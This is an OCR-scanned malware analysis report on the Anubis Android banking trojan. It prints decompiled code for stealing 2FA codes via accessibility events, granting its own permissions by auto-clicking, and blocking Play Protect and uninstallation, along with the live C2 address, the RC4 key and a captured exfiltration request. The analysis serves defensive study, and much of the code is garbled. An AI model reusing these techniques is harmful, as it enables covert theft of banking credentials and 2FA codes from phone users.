for (AccessibilityNodeInfo accessibilityNodeInfo : a(accessibilityEvent.getSource(), "android.view.ViewGroup")) {
String str3 = str2;
for (int i2 = @; i2 < accessibilityNodeInfo.getChildCount(); i2++) {
AccessibilityNodeInfo child = accessibilityNodeInfo.getChild(i2);
if (child.getText() !'= null) {
a("paramsl: " + i + ", params2: " + i2, |child.getText().toString()) }
str3 = str3 + "paramsl: " + i + ", params2: " + 12 + ", params3: " + child.getText().toString() + "\n";
}
}
1++;
str2 = str3;
}
if (!str2.isEmpty()) {
b(accessibilityService, this.a.p, "Logs com.google.android.apps.authenticator2: \n" + str2 + this.a.dE)
}
}
}
} catch (Exception unused) {
}

Anubis can steal 2FA code with using Accessibility events getText() function.

In addition, with Accessibility privileges, Anubis can also give itself any permission it wants.

public boolean a(AccessibilityService accessibilityService, AccessibilityEvent accessibilityEvent, String str, String str2) {

try {
if (Build.VERSION.SDK_INT < 18 !5t12.(untains"‘cum.gougle.andruid.permissioncuntruller"l] accessibilityEvent.getSource() == null) {
return false:
}

boolean z = false;
for (AccessibilityNodeInfo accessibilityNedeInfo : a(accessibilityEvent.getSource(), ["android.widget.linearlayout ) {
boolean z2 = z;
for (int i = @; i < accessibilityNedeInfo.getChildCount(); i++) {
AccessibilityNodeInfo child = accessibilityNodeInfo.getChild(i);

if (child.getText() != null && child.getText JI"toStIing[J.equals[f[a(tessibilityServite]I) {
accessibilityNodeInfo.

z2 = true;
}
}
z = z22;
}
if (z) {
Iterator<AccessibilityNodeInfo> it = accessibilityEvent.getSource() .I'findAttessibilityNodeInfosByViewId[ "android:id/buttonl” )I.iteratcr[ ):
if (it.hasNext()) {
it next.() [PEFTOMACETONTTEY)
return true;
}
}
return false;
} catch (Exception unused) {

H

Here I would like to point out a few things about the performAction(16) function. Thanks
to the accessibility permission, Android applications can click the buttons that appear on the

Screen.
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performAction

public boolean performAction (int action)

Performs an action on the node.

ACTION_CLICK

public static final int ACTION_CLICK

Action that clicks on the node info. See AccessibilityAction#ACTION_CLICK

Constant Value: 16 (0x00000010)

After the application starts working, it makes the necessary preparations to convert the basic
information about the device and critical information such as statBanks, statCard into
Json format.

public void a(Context context) {
this.b.a(this.d, this.a.aX):
String d = this.b.d(context, this.a.b);
TelephonyManager telephonyManager = (TelephonyManager) getBaseContext().getSystemService(this.a.aj);
JSONObject jSONObject = new JSONObject():

try
jSONObject.put(this.a.cI, d): » id
jSONObject.put(this.a.s, this.b.d{context, this.a.s]]:—.idsetﬁngs
jSONObject.put(this.a.c), this.c.c(context)): —.number

a
a
a
jSONObject.put(this.a.t, this.b.i(this) ? this.a.aQ : this.a.aN) ;g statAdmin 1/0
jSoNObject.put(this.a.u, this.b.d(context, this.a.Q)): e statProtect
jSonObject.put(this.a.v, this.c.a(context)) ;=i statScreen
jSONObject.put(this.a.w, this.b.b{context, gstmzijgp.class) 7 this.a.aQ : this.a.aN]:StﬂtACCESSibilt‘_Y
jSONObject.put(this.a.x, this.b.j(this)); = statSMS
jSONObject.put(this.a.y, this.b.d{context, this.a.y]];——'StﬂtCﬂl‘dS
jSONObject.put(this.a.z, this.b.d(context, this.a.z)) je————p statBanks
jSONObject.put(this.a.A, this.b.d{context, this.a.A)) ;———————— statMails . .
jSONObject.put(this.a.B, this.b.d{context, this.a.i)); » activeDevice
jSONObject.put(this.a.C, this.b.d(context, this.a.C));=———jp timeWorking
jSONObject.put(this.a.D, this.b.d(context, this.a.D)); - statDownloadModule
jSONObject.put(this.a.Z, this.b.c{context)) ;—'batter\([_,evel
String str = this.a.y; o locale

While examining AndroidManifest.xml file, we saw the permissions such as SEND_SMS ,

READ_SMS , RECEIVE_SMS in its content, but it seems that Anubis does not want to be
content with them. It is thought that the purpose of Anubis, which wants to be the SMS
application of the device, at this point is to delete the incoming messages in order not to leave
any evidence behind.
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public class mctbdwzairkcwx extends Activity {
/* access modifiers changed from: protected */
@0verride // android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
if (Build.VERSION.SDK_INT == 29) {

RoleManager roleManager = (RoleManager) getSystemService(RoleManager.class);
if (roleManager.isRoleAvailable("android.app.role.SMS") && !roleManager.isRoleHeld("android.app.role.SM5")) {
startActivityForResult(roleManager.createRequestRoleIntent("android.app.role.SMS"), 1);
} else {
return;
}
}
finish();

}

When Anubis first runs, it uses Shared Preferences to reuse the encrypted strings in its
content.

public void onCreate(Bundle bundle) {
super.onCreate(bundle);
if ('this.a.b(this)) {
Point point = new Point();
getWindowManager( ) .getDefaultDisplay().getSize(point);
a aVar = this.a:
String str = this.c.0;
aVar.a(this, str, this.c.a0 + point.x):
a avVar? = this.a;
String str2 = this.c.P;:
avar2.a(this, strz, this.c.a0 + point.y);
try {
if (this.a.d(this, this.c.c).contains(this.c.aM}) {
this.a.a(this.d, this.c.dW); e c.dW = Initialization Start 2!
this.a.g(this);
}
} catch (Exception unused) {

this.a.a(this.d, this.c.dV); e c.dV = Initialization Start 1!

{this.a.d(this) ;\
}
a avar3 = this.a; Shared Preferences Builder

a.a(this, this.c.a0, 1poe0):
try {
if (!this.a.a(this, bcpvl.class)) {
startService(new Intent(this, bcpvl.class)):

}
} catch (Exception unused2) {
if (i'this.b.b(this)) {
this.a.a("run_king_service", this);
}
}

finish();
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22 hic.json Gph X [Ga X [Ga X |
¢ @source code . - —
¢ 8 parzot. ski.frog »z% puhlf: void d(Context context) { =
a2 String str;
v #a String strz;
~@a oy ¢
=®b micontext) ;
¢ @b a(context, this.a.b, b(17));
~0h a(context, this.a.c, this.a.am):
~®p aicontext, this.a.d, this.a.az) # a.d = urlAdminPanel / a.az = http://107.172.82.116/
. a(context, this.a.e, this.a.a0);
# @ cpdlloupctbwrbvi alcontext, this.a.f, this.a.s0):
= © usqggyaguygwa a(context, this.a.g, this.a.a0):
¢ # crytmicioeczjrnm a(context, this.a.i, this.a.aN);
~Ba alcontext, this.a.a6, this.a.an);
> © bmff alcontext, this.a.j, this.a.a0):
=@ brqrmevyu alcontext, a .
. N alcontext,
¢ @ ekiwugagitoxba (context
& @ mctbdwzairkcux a(context.
> ® ortcmw afcontext,
& @ ufnrogbu alcontext,
> ® voev a(context, e a.r = hiddenSMS / a.aQ = 1
© @ wlarh afcontext,
a(context,
¢ & qupv alcontext, . this.a.aN):
& O bepvl a(context, | this.a.aN):
=@ gstmzijgp alcontext, . this.a.aN);
> © latrgzbxy alcontext, . this.a.an);
+®@ gevy a(context, -8, this.a.aN);
« @ ynbnuiveztazn a(context, . this.a.aN);
- @ jwewxfun a(context, . this.a.aN);
Zjwewx a(context, . this.a.aNn);
> O zshpflsiuluolw alcontext, .a.F, this.a.aN);
=@ a alcontext, -6, this.a.20) ; exme———] 0.G = keylogger / a.aQ = 1
= © pbh alcontext, H, this.a.an):
o (% Resources alcontext, , this.a.dl);
a(context, , this.a.dl): B
a(context, .k, this.a.dl):
afcontext, .5, this.a.dl); 5
a(context, , this.a.20):
afcontext, . this.a.a0): i
afcontext, , this.a.aN);
a(context, N, this.a.a8);
a(context, .q, this.a.dm);
a(context, , this.a.20);
acontext, . context.getPackageName());
afcontext, ortcmw. class.getCanonicalName());
168 a(context, his.a.20);
469 a(context, X, this.a.a0): -
gl i [b]
code [ smali

As can be seen above, certain information is kept in the key-value data format for later

use.

public void a(Context context, String str, String str2) {
SharedPreferences.Editor edit
edit.putString(str, str2);
edit.commit():

context.getSharedPreferences(this.a.ax, @).edit();

With many functions and endless loops in Anubis content, it causes a workload on the device
where it is constantly loaded. Since one of the results of this workload is high energy
consumption, Anubis’ developers aimed to overcome this problem with the

REQUEST_IGNORE_BATTERY_OPTIMIZATIONS permission.

public void onCreate(Bundle bundle) {
super.onCreate(bundle) ;
try {
if (!this.a.b(this)) {

Intent intent new Intent("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS",
intent.addFlags(268435456) ;
intent.addFlags(1073741824);
startActivity(intent);

}
} catch (Exception unused) {
}
finish();

FLAG_ACTIVITY_NEW_TASK

Added In AP level 1

o

public static final int FLAG_ACTIVITY_NEW_TASK

If set, this activity will become the start of a new task on this history stack. A task (from the activity that started it to the
next task activity) defines an atomic group of activities that the user can move to. Tasks can be moved to the foreground
and background; all of the activities inside of a particular task always remain in the same order. See Tasks and Back
Stack for more information about tasks.

This flag is generally used by activities that want to present a ‘launcher style behavior: they give the user a list of
separate things that can be done, which otherwise run completely independently of the activity launching them.

When using this flag, if a task is already running for the activity you are now starting, then a new activity will not be
started; instead, the current task will simply be brought to the front of the screen with the state it was last in. See
FLAG_ACTIVITY_MULTIPLE_TASK for a flag to disable this behavior.

This flag can not be used when the caller is requesting a result from the activity being launched.

Constant Value: 268435456 (0x10000000)

Uri.parse(this.b.aH + getPackageName()));
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FLAG_ACTIVITY_NO_HISTORY Added in AP level 1

O

public static final int FLAG_ACTIVITY_NO_HISTORY

If set, the new activity is not kept in the history stack. As soon as the user navigates away from it, the activity is finished.
This may also be set with the noHistory attribute.

If set, onActivityResult() is never invoked when the current activity starts a new activity which sets a result and
finishes.

Constant Value: 1073741824 (0x40000000)

The application can reveal multiple amazing abilities with Accessibility permissions on the
target device. For example, it can turn off Play Prottec to avoid being caught and prevent any
attempt to delete itself from the device, again thanks to Accessibility.

public class gstmzijgp extends AccessibilityService {
aa=new a);
parrot.ski.frog.a b = new parrot.ski.frog.al):

String ¢ = "Ayarlar”;

String d = "KAPAT";

String e = "Uygulamalari Play Protect ile tara”;
String f = "";

int g = 0;

List<AccessibilityNodeInto> h = new ArrayList(]),

String 1 = this.b.aN;

private String j = (gstmzijgp.class.getSimpleName() + this.b.aT);
private hoolean k = false;

private int 1 = @;
private String m = this.

m b.a0:
private String n = this.b.a0;
private String o = this.b.a0;
private String p = this.b.a0;
private String g = this.b.ao;
private String r = this.b.a0;

private boolean s = false;

private String a(AccessibilityEvent accessibilityEvent) {
StringBuilder sb = new StringBuilder();
for (CharSeguence charSequence : accessibilityEvent.getText()) {
sb.append|charSequence) ;
H
return sb.toString();
}

private void a() {
if (Build.VERSION.SDK_INT = 15) {
or (Int 1 = @: 1 < &4 1++] {
rF performGlobalAction(1);

]
performGlobalAction(2);
performGlobalAction(2);

}
if (Build.VERSION.SDK_INT < 16) {

Intent intent = new [[ntent("android.intent.action.MAIN")
intent.addCategory("android. .Category. ;

startActivity(intent);
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In the code block we saw above, it can perform operations with 1 and 2 constants from the
a() function and the performGlobalAction function. Well, if you were to ask what
operation these 1 and 2 correspond to, here is the answer;

performGilobalAction Added in API level 16

o

public final boolean performGlobalAction (int action)

Performs a global action. Such an action can be performed at any moment regardiess of the current application or user
location in that application. For example going back, going home, opening recents, etc.

Note: The global action ids givenoi ion about the current avail of their corresponding actions.
To determine if a global action s available, use getSystemActions ()

Parameters

action int: The action to perform.

GLOBAL_ACTION_HOME

public static final int GLOBAL_ACTION_HOME

Action to go home.

Constant Value: 2 (0x00000002) ‘——
GLOBAL_ACTION_BACK Added in API level 16

L

public static final int GLOBAL_ACTION_BACK

Action to go back.

Constant Value: 1 (0x00000001 ) < e—"

In addition, we need to mention that the developers of Anubis paid attention to important
details such as the Build SDK version and implemented the escape function separately for
lower SDK versions.

private void a() {
if (Build.VERSION.SDK_INT > 15) {
for (int i = @8; i < 4; i++) {
performGlobalAction(1);

}
performGlobalAction(2);
performGlobalAction(2);
}
AT (Bulld.VERSION.SDK_INT < 16) 1
Intent intent = new Intent("android.intent.action.MAIN");
intent.addCategory( "android.intent.category.HOME");
intent.setFlags(268435456) ;
startActivity(intent);
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FLAG_ACTIVITY_NEW_TASK e Added in AP level 1

o

public static final int FLAG_ACTIVITY_NEW_TASK

If set, this activity will become the start of a new task on this history stack. A task (from the activity that started it to the
next task activity) defines an atomic group of activities that the user can move to. Tasks can be moved to the foreground
and background; all of the activities inside of a particular task always remain in the same order. See Tasks and Back
Stack for more information about tasks.

This flag is generally used by activities that want to present a “launcher" style behavior: they give the user a list of
separate things that can be done, which otherwise run completely independently of the activity launching them.

When using this flag, if a task is already running for the activity you are now starting, then a new activity will not be
started; instead, the current task will simply be brought to the front of the screen with the state it was last in. See
FLAG_ACTIVITY_MULTIPLE_TASK for a flag to disable this behavior.

This flag can not be used when the caller is requesting a result from the activity being launched.

Constant Value: 268435456 (0x10000000)

Anubis uses this code block against any deletion attempts of the user and returns the user
directly to the main menu from where they are :D, it must be very annoying.

As an example, let’s examine the code block below

public veid a(AccessibilityNodeInfo accessibilityNodeInfo) {

try {
if (!this.s && Build.VERSION.SDK_INT == 18] {
if (accessibilityNodeInfo == null) {
this.a.a(this.j, this.b.bP);
return;
¥
for (AccessibilityNodeInfo accessibilityNodeInfo2 : accessibilityNodeInfo.findAccessibilityNodeInfosByViewId(this.b.cE)) {
a():
¥
for (AccessibilityNodeInfo accessibilityNodeInfo3 : accessibilityNodeInfo.findAccessibilityNodeInfosByviewId(this.b.cD)) {
a(l):
if (this.p.equals(this.b.cF)) {
a();
}
}
} catch (Exception unused) {
}

cE = com.android.vending:id/toolbar_item_play_protect_settings
¢D = com.android.vending:id/play_protect_settings
cF = com.google.android.gms.security.settings.verifyappssettingsactivity

Thanks to its accessibility ability, Anubis can infer what the user is doing on the screen at
that moment, and runs the a() function directly in any scenario that will harm it. As we can
see in our example code block, if it detects any of the cE / ¢D / cF string constants, the
escape function a() will run directly.

Dynamic Analysis

In our sample, we come across the application under the name of 2000 TL Pandemic
State Support for Each Family and using the emblem of the Ministry of Health of the
Republic of Turkey.

With Anubis running on the target system, we see that the first thing it wants from the user is
Accessibility privileges. Because many simple but effective abilities (Clicking Buttos,
Scorlling Pages, Reading Windows Context) that the malware basically possesses are
hidden behind these powers. On the other hand, we see at the beginning of our analysis that
Anubis also uses a way to hide its icon from the app launcher in order to make it difficult to
remove it from the device when it starts running.
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Let’s give all permissions and examine what Anubis sent to C&C.
Since our C&C Panel is not active during the analysis process,
Anubis cannot receive any response from the C&C Panel.

Her Aile'ye 200..

é Accessibility Service

DOWNLOADED SERVICES

Select to speak OFF
Destek Paketinizi Aktiflestiriniz OFF
Switch Access OFF
TalkBack

SCREEN READERS

Text-to-speech output

Enable 'Destek Paketinizi Aktiflestiriniz'

\ PR

Accessibility

Accessibility shortcut
No service selected

Downloaded services

Destek Paketinizi Aktiflestiriniz
OFF

Enable Destek Paketinizi Aktiflestiriniz

Text-to-speech output

Display

Font size
Default

Display size
Default

P S S

16/27



Use Destek Paketi
Aktiflestiriniz?

Destek Paketinizi Aktiflestiriniz
needs to:

« Observe your actions
Receive nofifications when you're
interacting with an app.

* Retrieve window content

Inspect the content of a window you're
interacting with.

CANCEL 0K

W4 Q455

Activate device admin app?

DestekPaketi

Activating this admin app will allow
the app Her Aile’'ye 2000TL Pandemi
Devlet Destegi! to perform the following
operations:

Erase all data

Erase the phone’s data without warning by
performing a factory data reset.

Lock the screen
Control how and when the screen locks.

Activate this device admin app

Cancel
Uninstall app
Dashboard  Target  Proxy  Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extencer  Projectoptions  Useroptions  Leamn
Intercept HTTF history ~ WebSockets history Options
Filter: Hiding €SS, image and general binary content
# Host Method URL Params  Edited  Status  Length MIMEtype Extension Title Comment TLs P Cookies Time Listener port
18 httpyfI07.17282416 POST  //gatephp v HTML php 107.472.82.116 18:41:33 26 A, 808D
Request
precty g Hex wn =

1 POST //gate.php HTTP/1.1
2 Content-Length: 800

3 Content-Type: application/x-www-form-urlencoded

4 User-Agent: Dalvik/2.1.@ (Linux; U; Android &.0.0; unknown Build/OPRG.170623.017)
5 Host: 107.172.82.116

6 Connection: close

7 Accept-Encoding: gzip, deflate

S

9 action=hotcheck&data=Y2I4MGQINTBNZNQXYMILNWYZHZdhNDQWYMX0G J10GVMY ] UwMjAXZDMAZD11MZE2HDA KMTFANIMZ
16 MWQxYTgyYzViNjdiOTUwY]QyNNNmOGU1MWE 2YTcy ODFi0TIxZTg4ZDhnZTkSZGQ2YzViz N} ¥2Zi
11 OTNjODCSMmEYNDRhNZMZZGQOYTgSZGM3MzCyY2FhZTVIMDOXOGMXMDT12Tg3YzUnY zkzYZE4MDAZ
12 NGNmYWQ4YmQxY2IxZTVhMz1iNDA@NTISMZBmMZWQWZT LhMWY 2NGQyNj EXOWZ j ¥ZU30DA 1L0WQ@MWMw
13 NzF JMGEIMDFNYThkMz1hY2BhOT LANGNKY TgyN] kwMGIxMTY 1MmQuZ ] YxNnM10GI 3NzM3ZDBKOD Jm
14 ZWUOYWES YWQ1YjUZNDNmZGIzNzhmZ TkzZDgxYmV3 OTERZ] FhZmU1YzQuwY2VhMmY 1Y TcOMGVKZDRL
15 NTNANDQ3MmYzZWQyNzg4ZDASN] ExYgwODM2ZMGNNI]Q4Zm i ZDE3ZDUyOTdiOWM3NW i ZnSN Q1
16 MTZkMTkzOTAyY2MyYZzQxNzBi0GU4Z jkOND11YTQWNDCONGMZNDI3NWV1YTA3Y jM2ZTgwZ TkwMGM1
17 ZjdkMDIxYc20614Y]c4MzC2Y] gSMMYiNNQOZ] g30TELOTQRYWEAN] YyNGVKY2UyY 1 Q4M2TyZThi
18 YzYSM2T40TRJOGZNOGE3M2 12ZmR3ZT1kNTAWZ J YSMTASMTNIM j kOMj MxOTQz0GJ 1YmUBMTHy NDAW
19 N2Z1ZWFm

20

We talked about the JSON files created during the initialization phase in static analysis.
Another detail I noticed during the static analysis was that Anubis encrypts the JSON files it
prepares to send to the C&C Panel using Base64 and RC4. But I thought it would be more
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accurate to mention this part here. Let’s see what kind of code block Anubis uses for this

process.

Usage for: @ parrot.ski.frog.a.b
Node Code

(€] parrot.ski.frog.a import parrot.ski.frog.a.b;
@ parrot.ski.frog.a.a(String) String return new String(new b(str.substring(@, 12).getBytes()).a(b(new String(
® parrot.ski.frog.a.b public class b {
® parrot.ski.frog.b.a import parrot.ski.frog.a.b;
@ parrot.ski.frog.b.a.c(String, String) Stri...| return new String(new b(str2.getBytes()).a(b(new String(Basef4.decode(st
@ parrot.ski.frog.b.a.b(String, String) Stri...| return Basef4.encodeToString(a(new b(str2.getBytes()).b(str.getBytes()))
[l i [»

<- | -> Showing results 1to6 of 6

When I looked at the places where the RC4 implementation in the application is used, I
noticed that it is used in an additional place, not just for hard-coded strings. Then I started to
examine this structure.

23 hic. json
9 @source code
¢ 8 parrot.ski.frog
v #a
+~B®a
-®pb
¢ @b

=@a
~®b

¢ # cpdlloupctbwrbvi
& ® usqggyaguygwa

> ® brqrrnevyu

[

# ekiwugagi toxba

o ® mctbdwzairkcwx

- @ gstmzijgp
& ® latrgzbxy
= ® qevy
& @ ynbnuiveztazn
+ © zjwewxfun
> ® zshpflsiuluolw
*0@a
= ® pbh
< @ Resources

©b X [©®a X |

)
Teturn bArr;

for (int i = 0; i < length: i
bArr(i / 21 = (byte) ((CF

1
scter.digit(str.charAt(i), 16) << 4) + Character.digit(str.charAt(i + 1), 16));

c(Context context) {

return st
¥

parrot.ski. f
return avar.

terReceiver = context.registerReceiver(null, new IntentFilter(this.a.al));
o.valueOf (Math.round (( ((float) registerReceiver.getIntExtra(this.a.am, -1)) / ((float) registerReceiver.getIntExtra(this.a.an, -1))) *

100.0f)) ;

¢ # crytmicioeczjrnm public String c(Context context, String str) {
~®a st d2 = d(context, this.a.d);
=@ bnff a("Comnect”, " + d2);

Tog.a.a avar - new parrot.ski.frog.a.a();
ad2 + this.a.aR, str):

¥

> ® ortcmw public String c(String str) {
+® ufnrogbu return b(str, this.a.a8);
= G voev r
= © wlarh public String c(String str, String str2) {
¥ # qupv try (
& O bepvl return new String(new b(str2.getBytes()).a(b(new String(fasecs.decode(str, @), this.a.al))));

} catch (Exception unused) {
return this.a.a0;
3
H

public void c(Context context, String str, String str2) {
try (

string d2 = d(context, str);

if (1d2.dsEmpty()) (
JSONObject jSONObject - new JSONGbject (d2);
JSONObject jSONObject2 = new JSONObject(str2);

ng string = jSONObject.getString(this.a.bD):

string3 - jSONObject2.getString(this.a.bD);

String str3 - this.a.dQ;

a(str3, this.a.a0 + string):

String stra - this.a.dRr;

a(strs, this.a.a0 + string3);

JSONObject a = a(new JSONObject (string), new JSONObject(string3)):
JSONObject jSONObject3 - mew JSONObject():

jSONObject3.put (this.a.bC, string2);

jSONObject3.put(this.a.bD, a.tostring());

a(this.a.ds, jSONObject3.tostring()):

« i

Code | smali

Do you think it is a coincidence that it is so close to JSON data :D ?

As we can see the function takes 2 Strings (str,str2). While str2 is used as encryption key,

str has data in JSON format.
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Usage for: @ parrotski.frog.b.a.c(String, String) String

Node Code
® parrot.ski.frog.b.a.d(String) String Iretul.’n c(str, this.a.aB) ;M a.aB = CRV1ysGgKzib1
@ parrot.ski.frog.b.a.c(String, String) String public String c(String str, String str2) {

<= | -> |Showing results 1to2of 2

Request Encryption RC4 Key = CRViysGgKzt6i

Recipe ama Input 1?:5;: 7;; + Oz @ =
Y2I4MGQ3NTBhZWQXYmJ iNWYzHzdhNDQWYmMX0GJ LOGVMY j UwMjAXZDMAZD 1 IMZEZMDAKMTFiNWMz
MWQXYTgyYzViNjdi0TUwYjQYNWNMOGUIMWNE2YTCYODFi0T IXZTg4ZDhmZTk5ZGQ2YZViZ N} Y2Zi
Alphabet OTNjODcSMMEYNDRhNZMZzZGQOYTgSZGM3MzCyY2FhZTV IMDQXOGMXMDI1ZTg3YzUwYzkzYZEAMDAZ
A-Za-z0-9+/= M NGNmYWQAYmQxY2IxZTVhMz LINDAONT I5MzBmZWQWZT LhMWY2NGQyN ] EXOWZ Y ZU30DA10WQeMWMw
NzFjMGEIMDFhYThkMz LhYzBhOT LhNGNKYTgyN] kwMGIXMTY1MmQWZ ] YXNmM10GI3NZzM3ZDBKODIm
ZWUBYWESYWQLY jUZNDNmZGIzNzhmZTkzZDgx YmVOTEAZ ] FhZmU1YZzQwY2VhMmY1YTcOMGVkZDRL
Remove non-alphabet chars NTNhNDQ3MMYZZWQYNZg4ZDASN] ExY j gwODMZMGNhMjQaZmJiZDEIZDUYOTd10WM3NWI1ZmM5N Q1
MTZKMTkzZOTAYY2MyYZQxNzBi0GUAZjKOND 11YTQWNDCANGMZNDISNWV LY TASY jM2ZT gzZWIWMGML
ZjdkMDIXYjc206I4YjcaMzc2Y gSMmViNWQOZ ] g30TELOTQOYWEAN] YyNGVKY2UyYjQaM2TyZThj

From Base64

RC4 YZYSM2I40TR]0GZMOGE3M2I2ZmR1ZT LkNTAWZ] YSMTAIMTNmM ] KOMIMXOTQZ0GI 1YmUGMTMNDAW
N2Z1ZWFm
Passphrase
CRViysGgKzt6i UTES ~
Input format Output format
Hex UTF8

time: ams

Output tengeh: - 288 poO® %

Llines:
{"id":"75snseqvasbb68ilf", "idsettings":"", "number":"", "statAdmin":"1", "statProtect":"2", "statScreen":"1", "statAcc
essibilty":"1", "statsMs":"e", "statCards":"0", "statBanks":"@", "statMails":"@", "activeDevice":"e", "timeWorking":"14
4", "statDownloadModule":"@", "batteryLevel”:"38", "locale":"en"}

YAY !!!

Manual Unpacking

At the beginning of our report, we mentioned that the sample we examined loads a class in
runtime. We hooked the DexClasslLoader function to find this loaded class. But we can
also do this manually. In this way, we will discover how packers, which are used extensively
in the Android Malware world, do this job. First, let’s look at our AndroidManifest.xml
file.
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=
2

Anubiso. apk [5] AndzoidManifest.xml X |
@ source code 2xml version-"1.8" encoding—"utf-8'7> [«]
o aisle 3|manifest xnlns:android="http://schemas.android.com/apk/res/android” android:versionCode="1" android:versionName="1.@" android:compilesdkversion="23" android:compilesdkversionCodename="6.0-2438415" p
o 8 canp <uses-sdk android:minsdkVersion="15" android: targetsdkversion="29"/
o g com 4| <uses-permission android:name="android.permission.SEND_SMS" />
o @ lake 5 <uses-permission android:name="android.permission.WAKE_LOCK"/>
6 <uses-permission android:nam android.permission.ACCESS_LOCATION_EXTRA_COMMANDS " />
> @org 7 <uses-permission android:name="android.pernission.RECETVE_BOOT_COMPLETED" />
o @ pigeon 8 android.permission.READ_CONTACTS"
o @ Iu 9 android.permission.CALL_PHONE"/>
o g thumb 10 android. permission. REQUEST_DELETE_PACKAGES"/>
8 Resources 1 android pexnission. REQUEST IGNORE BATTERY OPTIMIZATIONS" />
& assets 12 android .pernission. READ_PHONE STATE"/>
13 android.pexmission.READ_SHS" />
- EIMETA-INF 14 android.permission.REORDER_TASKS" />
[ res 15 android.permission.SET_WALLPAPER_HINTS"/>
5 AndroidManifest. xml 16 android.permission. INTERNET" />
18 classes.dex 17 android.permission.SET_WALLPAPER" />
o [B TesouIces. aIsc 18 android . permission.ACCESS_NETWORK_STATE" />
)APK signature 19 android.permission.RECEIVE_SMS"/> .
20 pigeon. theme.e;
21 =
2 parrot.ski.frog.ekiwugagitoxba. mctbdwzairkcwx" />
23 parrot.ski.frog.FEuSyWrKaHnLdOwHkOkYiUbBaYeFcGbCbEUZxQnRjBoTbBtAdZdZzTf" android:screenOrientatiol
24
25 “com. google. android.gms. version” android:value="11010000"/>
26 <activity android:label="mmusjyzpjxLnafcbsshshtkekgnkidwynghsiogtn® android:nane="parrot.ski.frog.ZTmN1UhApYdKzFsXzTcC1Pd" />
27 <service android:name="parrot.ski.frog.qupv.latrgzbxy” android:exported="false"/>
28 <activity android:label="xnxkmjnpycyjqioaocghmddbausajscaypf” android:name="parrot.ski.frog.DDyZkHhXqI1XjMjHqLxUgBFUFLOEGWOLQPWZMChTjDIAL"/>
29 <activity android:name="parrot.ski.frog.EWfFdFeTISpRZNjMcClGgP1XNLPFjRkBgXZBL" android:screenOrientation="landscape" />
30 <activity android:label="tfwajedngxpyeqylnbdrieggeyihxwcskcdfiniumzborja” android:name="parrot.ski. frog. STKIGNiUdGIHUMNACSQWADGDNSQUCHeHaTaCoBe CXI™ />
31 <service android:name="parrot.ski.frog.qupv.bcpvl®/>
32 <activity android:name="parrot.ski.frog.LXsSgY1AcIeJpAyYdTdTaCyHiTgDgHzKITIRmXCTmITUaHXBWzZMKkMG" android:screenOrientation="portrait"/>
33 <service android:name="parrot.ski.frog.qupv.zshpflsiuluolu"/>
3 <activity android:name="parrot.ski.frog.HGpCeRelzUnZnKtDeNp" android: screenOrientation="portrait" />
35 <service android:name="paxrrot.ski.frog.qupv.ynbnuiveztazn"/>
36 <activity android:label-"gcqrhtuticpubarrlnneajlqglibljetr” android:name="parrot.ski.frog.Kulossomx"/>
37 <service android:label="Destek Paketinizi Aktiflestiriniz® android:name="parrot.ski.frog.qupv.gstmzijgp" android:permission="android.pernission.BIND_ACCESSIBILITY_SERVICE">
38 <intent-filter>
39 <action android:name="android.accessibilityservice.AccessibilityService"/>
0 </intent-filter
ot <meta-data andzoid:name="android.accessibilityservice" android:resource="@xml/rhdcbexk"/>
42 </sexvice>
3 <activity “xsbhxteqfxxkhceeg® android:name="parrot. ski. frog. ERWTnJeLmHIHCYn" />
1 <activity parrot.ski.frog.PTqDaPpSiHzImYs ZyUiFeEdEjDeRe IaDpXsCFZhZmNgLpBaXjTeEx" android:screenOrientation="landscape" />
15 <activity "@android: style/Theme.NoDisplay” android:label="" android:name="parrot.ski.frog.crytmicioeczjrnm.brqrrnevyu" android:excludeFromRecents="true"/>
4 <activity android:label-"ardtawcoiechbpengdstyfuzgojgiaxgrunuf® android:name="parrot. ski.frog.DAnIcMuLdIWOdACKaYATIOSCHED " />
47 <receiver android:label="DestekPaketi” android:name="parrot.ski.frog.crytmicioeczjznm.bnff" android:permission="android.permission.BIND_DEVICE_ADMIN">
18 <meta-data andzoid: " android:resource="@xnl/irexnjyhgdnzb"/>
49 <intent-filter android:priority="121">
50 I <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> |
< 1L Dl

As we can see, all activities including MAIN are called under the parrot package, but we
don’t have the parrot package in sight. How is this possible?

This packer, which is widely used among Android Malwares, loads all the lost classes by
using the class under the application tag.

2 Anubiso. apk 5 AndroidManifest.aml X |
¢ @ Source code
- W aisle 3{Nane="1.0" android:compileSdkVersion="23" android:compilesdkVersionCodenane="6.0-2438415" package="pigeon. theme.earth" platformBuildversionCode="29" platformguildVersionhane="10">
- canp
o & com 4
o & lake >
6
~ @ org ¢
o @ pigeon .
o~ Tu 9
o @ thumb 10
9 E2Resources n
- assets 2
o [ META- INF b
- 1es 15
[E AndroidManifest.xml 16
17
= B resources.arsc :z
PK signature 20[TL Pandeni Deviet Destegi!" android:icon="gmipnap/ic_launcher” [droid: nane="pigeon. theme. carth TURUKAKGTQxF DEWNLUTHUT UBTRESHP] PGEIWKAC J15q'] android :allowsacku
21|r>
2

23|roid:screenorientation="portrait"/>
24 |id.gns. common. api . GoogleApiAct ivity” android:exported="false/>

26 [N1UhApYdKzFsX2TCC1Pd" />
28 {qT1X MjHaLxUgB fUFLOEqWOLGPWZMChT{DIAL " />

29|tion="1andscape" />
30{T0g . STKTGNiUG JHUMhAC SMQWADQbN sQUChieHaTaCoBe J X ™ />

32|roid: screen0rientation="portrait"/>

36|/>
37|jgp" android:permission="android.pernission.BIND_ACCESSIBILITY_SERVICE">

44{id:screenOrientation="landscape" />
45{r0g. crytmicioeczjrnm. brqrmevyu” android:excludeFromRecents="true"/>
46 JuLd JWOdAoKaYdTTOSCWED "/ >
47|permission="android.pernission.BIND_DEVICE_ADMIN'>

“true" android: supportsRtl-"true” andr

Although it appears to be full of classes that we do not have, we actually have the first class
that runs and takes on the unpacking task.

pigeon.theme.earth.IUhUKAKGFQXFbEwMiUtWuIuBrReSmPjPgEiWkAcJiSq
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© Iuh DEWMiUtW P Jisq X |
Fim‘l{mac | I Previous | Next [ |MarkAll [|Regex []MatchcCase [ ]Wholeword X
171 if (file.isDirectory()) { =
171 for (int i = @; i < 12; i#4) {
174 this.Ee0XtqDQJFuYfwSh_127963 = this.aGtHgxoSbRyBttnp_464505 + @ + this.nTMpTTsYlxumhQIi_744557 + 1@5;
}
}
188 return file.getAbsolutePath();
}
